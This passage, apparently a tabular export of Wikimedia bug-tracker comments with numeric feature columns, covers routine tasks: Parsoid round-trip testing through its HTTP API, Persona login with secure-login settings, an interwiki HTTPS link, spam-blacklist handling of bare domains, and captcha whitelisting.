    at IncomingMessage.onData (/data/project/parsoid/js/node_modules/express/node_modules/connect/node_modules/raw-body/index.js:40:17)
    at IncomingMessage.EventEmitter.emit (events.js:88:17)
    at IncomingMessage._emitData (http.js:359:10)
    at HTTPParser.parserOnBody [as onBody] (http.js:123:21)
    at Socket.socket.ondata (http.js:1682:22)
    at TCP.onread (net.js:404:27)

- It doesn't pass Jenkins, see URL
It seems that the roundtrip-test.js script can't connect to the parsoid HTTP API from the jenkins machine. We'll need to get a parsoid instance running on the jenkins test machine, using a random port."
278446,Use the HTTP API in round-trip testing,"Change 97733 had a related patch set uploaded by Marcoil:
Bug 56590: Use the HTTP API in round-trip testing

https://gerrit.wikimedia.org/r/97733",,,1385484634,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cfhd53wpntcxcbt4smwr,task_subcomment,,True,c2,3,False,,,12,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,27.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.923076923076923,0.9615384615384616,"Change 97733 had a related patch set uploaded by Marcoil:
Bug 56590: Use the HTTP API in round-trip testing

GERRIT_URL"
278438,Use the HTTP API in round-trip testing,"Divided into two tasks:
* This bug will track changing the round-trip test client to use the HTTP API so that they test a more similar code to the actual one used by clients.
* Bug #56730 tracks the (future) development of unit tests of Parsoid's HTTP API.",,,1383850210,,PHID-USER-56wtmb23orq4pu5liyj5,False,,,PHID-TASK-cfhd53wpntcxcbt4smwr,task_subcomment,,True,c2,3,False,,,10,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,14.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,14.0,3.0,0.0,10.0,0.0,0.0,0.0,2.0,3.0,0.0,5.0,0.0,2.0,14.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,3.5762711864406778,0.8135593220338984,"Divided into two tasks:
* This bug will track changing the round-trip test client to use the HTTP API so that they test a more similar code to the actual one used by clients.
* Bug #56730 tracks the (future) development of unit tests of Parsoid's HTTP API."
278431,Use the HTTP API in round-trip testing,"(In reply to comment #5)
> What is the HTTP endpoint for this API?  The explicit URI(s)?  

https://www.mediawiki.org/wiki/Parsoid#The_Parsoid_web_API",,,1383672928,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-cfhd53wpntcxcbt4smwr,task_subcomment,,True,c2,3,False,,,9,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,8.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5833333333333335,1.0,"(In reply to comment #5)
QUOTE

URL"
278425,Use the HTTP API in round-trip testing,"
What is the HTTP endpoint for this API?  The explicit URI(s)?  

Also, I submitted a browser test for a utf8 string, I'll refine this a bit more today.  https://gerrit.wikimedia.org/r/#/c/93597/",,,1383660675,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-cfhd53wpntcxcbt4smwr,task_subcomment,,True,c2,3,False,,,9,True,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,22.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,5.0,8.0,5.0,0.0,0.0,5.0,0.0,2.0,8.0,0.0,0.0,2.0,0.0,0.0,3.225,0.8,"
What is the HTTP endpoint for this API?  The explicit URI(s)?  

Also, I submitted a browser test for a utf8 string, I'll refine this a bit more today.  URL"
278421,Use the HTTP API in round-trip testing,"(In reply to comment #2)
> I would very much like to create these tests, as long as beta labs and
> test2wiki would be targets.

As a first step we are considering tests that exercise the HTTP API in a way similar to the way VE does (including selser mode)

* on each commit, on a selection of pages
* in mass round-trip testing on a variety of content (see also bug 56601)

In addition it would be great to test the full Parsoid + Varnish setup as it is in production to catch caching issues. This sounds like a good fit for betalabs.

For this, we could use

* the HTTP client we'll get out of moving our rt testing to use the API, and 
* browser testing using the VE to test the full stack from browser through VE extension to the Parsoid cluster.",,,1383627362,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-cfhd53wpntcxcbt4smwr,task_subcomment,,True,c2,3,False,,,9,True,0.5,0.0,0.0,0.0,0.0,5.5,1.0,0.0,0.0,0.0,4.0,0.5,0.0,0.0,0.0,2.5,0.5,0.5,15.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.5,3.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,2.5,0.0,0.5,0.0,0.5,0.0,16.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,7.5,1.5,10.0,0.0,1.5,9.5,0.0,0.0,0.0,0.5,6.0,0.0,1.0,0.0,3.5,15.0,5.0,0.0,0.0,0.0,3.5,0.0,0.5,2.5,0.0,2.5,0.5,0.0,0.0,3.5305023923444976,0.7188995215311005,"(In reply to comment #2)
QUOTE
QUOTE

As a first step we are considering tests that exercise the HTTP API in a way similar to the way VE does (including selser mode)

* on each commit, on a selection of pages
* in mass round-trip testing on a variety of content (see also bug 56601)

In addition it would be great to test the full Parsoid + Varnish setup as it is in production to catch caching issues. This sounds like a good fit for betalabs.

For this, we could use

* the HTTP client we'll get out of moving our rt testing to use the API, and 
* browser testing using the VE to test the full stack from browser through VE extension to the Parsoid cluster."
278416,Use the HTTP API in round-trip testing,"If there is anything I can do in Jenkins, let me know.",,,1383606517,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-cfhd53wpntcxcbt4smwr,task_subcomment,,True,c2,3,True,,,9,True,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,7.0,14.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,21.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,14.0,14.0,7.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0714285714285716,1.0,"If there is anything I can do in Jenkins, let me know."
278411,Use the HTTP API in round-trip testing,"I would very much like to create these tests, as long as beta labs and test2wiki would be targets.",,,1383605498,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-cfhd53wpntcxcbt4smwr,task_subcomment,,True,c2,3,False,,,9,True,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,19.0,10.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,5.0,10.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8095238095238093,0.9047619047619048,"I would very much like to create these tests, as long as beta labs and test2wiki would be targets."
278406,Use the HTTP API in round-trip testing,"Additionally, we should consider converting our round-trip tests to use the web API as well.",,,1383604718,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-cfhd53wpntcxcbt4smwr,task_subcomment,,True,c2,3,False,,,9,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,11.0,5.0,16.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,11.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.105263157894737,1.0,"Additionally, we should consider converting our round-trip tests to use the web API as well."
59635,Make $wgPersonaLoginAnywhere work with $wgSecureLogin,"$wgPersonaLoginAnywhere turns on having the Persona login button on every page in the Personal URLs section, rather than just having a button on the login page.

However, when $wgSecureLogin is enabled, all logins must be over HTTPS. Right now this is handled poorly: if the user is on HTTP and clicks the Persona login button, they go through the whole login process just to get an API error.

Unfortunately, there's really no way to make it work completely, but there are a couple of options:

1) Throw a configuration error if a sysadmin tries to have $wgSecureLogin turned on, $wgPersonaLoginAnywhere turned on, and $wgServer with non-HTTPS as the scheme
2) Automatically redirect all users to HTTPS (probably the less friendly option)

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1385512620,1484383241.0,PHID-USER-ea6gwat27oulytc5tvsy,False,PHID-USER-orzyp3dswemhdgdznro5,False,PHID-TASK-esh4zk4zdc5xdhsrduzc,task_description,declined,True,c2,3,False,False,False,13,True,1.5,0.0,0.5,1.0,0.0,1.5,1.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,7.5,10.5,0.0,1.5,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.5,0.5,4.0,0.0,0.0,0.0,0.0,0.0,16.5,0.5,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.5,8.5,1.5,1.5,9.5,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.5,10.5,3.0,0.0,0.0,0.0,1.5,0.0,0.5,3.0,0.0,1.0,0.5,0.0,1.0,4.166666666666667,0.6845238095238095,"$wgPersonaLoginAnywhere turns on having the Persona login button on every page in the Personal URLs section, rather than just having a button on the login page.

However, when $wgSecureLogin is enabled, all logins must be over HTTPS. Right now this is handled poorly: if the user is on HTTP and clicks the Persona login button, they go through the whole login process just to get an API error.

Unfortunately, there's really no way to make it work completely, but there are a couple of options:

1) Throw a configuration error if a sysadmin tries to have $wgSecureLogin turned on, $wgPersonaLoginAnywhere turned on, and $wgServer with non-HTTPS as the scheme
2) Automatically redirect all users to HTTPS (probably the less friendly option)

--------------------------
**Version**: unspecified
**Severity**: enhancement"
791551,Make $wgPersonaLoginAnywhere work with $wgSecureLogin,"From T155291:

> Closing as the Persona service has been shut down. 
> 
>>>! From **[Mozilla](https://developer.mozilla.org/en-US/Persona)**:
>> Persona is no longer actively developed by Mozilla. Mozilla kept operational and security support of the persona.org service until November 2016.
>> On November 30th, 2016, the persona.org services were shut down.
> 
> See also:
> * <https://developer.mozilla.org/en-US/Persona>
> * <https://wiki.mozilla.org/Identity/Persona_Shutdown_Guidelines_for_Reliers>
",,,1484383241,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-esh4zk4zdc5xdhsrduzc,task_subcomment,,True,c2,3,True,,,176,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,36.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.090909090909091,0.2727272727272727,"From T155291:

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
"
59513,Change interwiki for smw.o to https,"semantic-mediawiki.org offers https access. Thus it will be nice if the link for the existing interwiki prefix ""semantic-mw"" could be changed to ""https://www.semantic-mediawiki.org/wiki/$1"". Many thanks in advance!

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: https://semantic-mediawiki.org/wiki/Semantic_MediaWiki",Medium,50.0,1385325840,1385342222.0,PHID-USER-37d2msujvpp2rippbzoq,False,,False,PHID-TASK-dt7vhebhzjxphnpx6qqs,task_description,invalid,True,c2,3,True,False,True,12,True,2.0,0.0,0.0,2.0,0.0,12.0,2.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,12.0,2.0,0.0,3.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,2.0,7.0,3.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.85,0.65,"semantic-mediawiki.org offers https access. Thus it will be nice if the link for the existing interwiki prefix ""semantic-mw"" could be changed to ""URL Many thanks in advance!

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: URL"
258559,Change interwiki for smw.o to https,Thank you for the hint. I filed the request at https://meta.wikimedia.org/wiki/Talk:Interwiki_map#semantic-mw,,,1385369204,,PHID-USER-37d2msujvpp2rippbzoq,False,,,PHID-TASK-dt7vhebhzjxphnpx6qqs,task_subcomment,,True,c2,3,True,,,12,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,25.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,0.9166666666666666,Thank you for the hint. I filed the request at URL
258555,Change interwiki for smw.o to https,Please ask at [[m:Talk:Interwiki map]].,,,1385342222,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-dt7vhebhzjxphnpx6qqs,task_subcomment,,True,c2,3,False,,,12,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,2.5,0.7857142857142857,Please ask at [[m:Talk:Interwiki map]].
58932,Spam BlackList doesn't block links which doesn't have http or https,"Spam BlackList doesn't block links which doesn't have http or https or // (at the first)

for example I could add www.atbriders.com to the text which is listed in https://en.wikipedia.org/wiki/MediaWiki:Spam-blacklist

see
https://en.wikipedia.org/wiki/User:Yamaha5/Spam-blacklist

it should block also URLs which doesn't have http: or https: or // (at the first)

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1384244160,1384277715.0,PHID-USER-dswbdv7ibhsefllcqarz,False,,False,PHID-TASK-ifrystfzv4mleltqnvzf,task_description,declined,True,c2,3,False,False,True,10,True,0.0,0.0,0.0,1.0,4.0,4.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,1.0,0.0,5.0,6.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,6.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,1.0,10.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,6.0,5.0,0.0,0.0,0.0,3.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,1.0,3.6962025316455698,0.5443037974683544,"Spam BlackList doesn't block links which doesn't have http or https or // (at the first)

for example I could add www.atbriders.com to the text which is listed in URL

see
URL

it should block also URLs which doesn't have http: or https: or // (at the first)

--------------------------
**Version**: unspecified
**Severity**: enhancement"
272144,Spam BlackList doesn't block links which doesn't have http or https,--> AbuseFilter territory by definition,,,1384277715,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ifrystfzv4mleltqnvzf,task_subcomment,,True,c2,3,True,,,10,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,5.833333333333333,1.0,--> AbuseFilter territory by definition
272137,Spam BlackList doesn't block links which doesn't have http or https,"spam blacklist was designed to block linking to black listed urls.
Thats why only the added external links are checked, no content.

You can use AbuseFilter when you want text searches for plain website names.

Supporting INVALID",,,1384272697,,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,,PHID-TASK-ifrystfzv4mleltqnvzf,task_subcomment,,True,c2,3,False,,,10,True,0.0,0.0,0.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,7.0,7.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,2.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,11.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,7.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.355555555555555,0.9111111111111111,"spam blacklist was designed to block linking to black listed urls.
Thats why only the added external links are checked, no content.

You can use AbuseFilter when you want text searches for plain website names.

Supporting INVALID"
272130,Spam BlackList doesn't block links which doesn't have http or https,"(In reply to comment #2)
> I don't see any sane way to do this (and am tempted to close as INVALID).
> 
> Text not starting with http:// simply is not a link - it is text.
> 
> So you want to block any word which has two dots in it?

No I don't want to block any word which has two dots in it!
I said when we define 
\bexample\.com\b
it should also block www.example.com 
it is a website address",,,1384256717,,PHID-USER-dswbdv7ibhsefllcqarz,False,,,PHID-TASK-ifrystfzv4mleltqnvzf,task_subcomment,,True,c2,3,False,,,10,True,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,5.0,0.0,5.0,7.0,0.0,4.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,2.0,2.0,2.0,16.0,2.0,0.0,5.0,0.0,0.0,2.0,2.0,7.0,2.0,4.0,0.0,11.0,7.0,7.0,0.0,0.0,0.0,11.0,2.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,3.381818181818182,0.6909090909090909,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

No I don't want to block any word which has two dots in it!
I said when we define 
\bexample\.com\b
it should also block www.example.com 
it is a website address"
272123,Spam BlackList doesn't block links which doesn't have http or https,"I don't see any sane way to do this (and am tempted to close as INVALID).

Text not starting with http:// simply is not a link - it is text.

So you want to block any word which has two dots in it?",,,1384255962,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ifrystfzv4mleltqnvzf,task_subcomment,,True,c2,3,True,,,10,True,4.0,0.0,0.0,2.0,6.0,2.0,2.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,10.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,6.0,8.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,8.0,12.0,4.0,2.0,0.0,0.0,8.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,3.0784313725490198,0.8235294117647058,"I don't see any sane way to do this (and am tempted to close as INVALID).

Text not starting with http:// simply is not a link - it is text.

So you want to block any word which has two dots in it?"
272117,Spam BlackList doesn't block links which doesn't have http or https,Now many articles are effected by this bug and users adds their Spam links to the articles without any blockage!,,,1384244275,,PHID-USER-dswbdv7ibhsefllcqarz,False,,,PHID-TASK-ifrystfzv4mleltqnvzf,task_subcomment,,True,c2,3,False,,,10,True,10.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,29.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,10.0,0.0,5.0,14.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,5.0,14.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.428571428571429,0.9523809523809523,Now many articles are effected by this bug and users adds their Spam links to the articles without any blockage!
58485,"Catches non-http/https links, but cannot whitelist them via MediaWiki:Captcha-addurl-whitelist","The ConfirmEdit extension allows for local wikis to whitelist links using [[MediaWiki:Captcha-addurl-whitelist]]. But this only allows for whitelisting http and https links, even though the extension will trigger a captcha for any protocol.

The question here is twofold:
1. Should ConfirmEdit trigger captchas for other types of links in the first place?
2. If so, how can we extend [[MediaWiki:Captcha-addurl-whitelist]] to allow these to be whitelisted?

Personally, I'm inclined to answer ""yes"" and ""Perhaps add flags like in [[MediaWiki:TitleBlacklist]], one of which would indicate that this line should not be prefixed with /^https?:\/\/+[a-z0-9_\-.]*/""

--------------------------
**Version**: master
**Severity**: normal
**URL**: https://en.wikipedia.org/wiki/Wikipedia:Village_pump_(technical)#Contains_external_links",Medium,50.0,1383334140,1386352774.0,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,False,PHID-TASK-apzftii3ko6bfgxegblk,task_description,resolved,True,c2,3,True,False,False,9,True,0.5,0.0,0.0,1.0,0.5,2.5,0.0,0.0,0.5,0.5,1.0,0.5,0.0,0.5,0.0,1.0,0.5,5.0,9.5,0.0,2.0,1.0,0.0,0.0,0.0,0.5,0.5,0.0,0.5,1.0,0.5,2.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.5,12.0,0.0,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,2.5,1.5,11.0,2.0,1.5,5.5,0.0,0.0,0.0,0.0,4.5,0.5,0.5,0.0,1.0,9.5,7.0,1.0,2.5,0.0,1.0,0.0,1.0,0.5,0.0,0.5,0.0,0.0,4.5,3.8507002801120445,0.6565826330532213,"The ConfirmEdit extension allows for local wikis to whitelist links using [[MediaWiki:Captcha-addurl-whitelist]]. But this only allows for whitelisting http and https links, even though the extension will trigger a captcha for any protocol.

The question here is twofold:
1. Should ConfirmEdit trigger captchas for other types of links in the first place?
2. If so, how can we extend [[MediaWiki:Captcha-addurl-whitelist]] to allow these to be whitelisted?

Personally, I'm inclined to answer ""yes"" and ""Perhaps add flags like in [[MediaWiki:TitleBlacklist]], one of which would indicate that this line should not be prefixed with /^https?:\/\/+[a-z0-9_\-.]*/""

--------------------------
**Version**: master
**Severity**: normal
**URL**: URL"
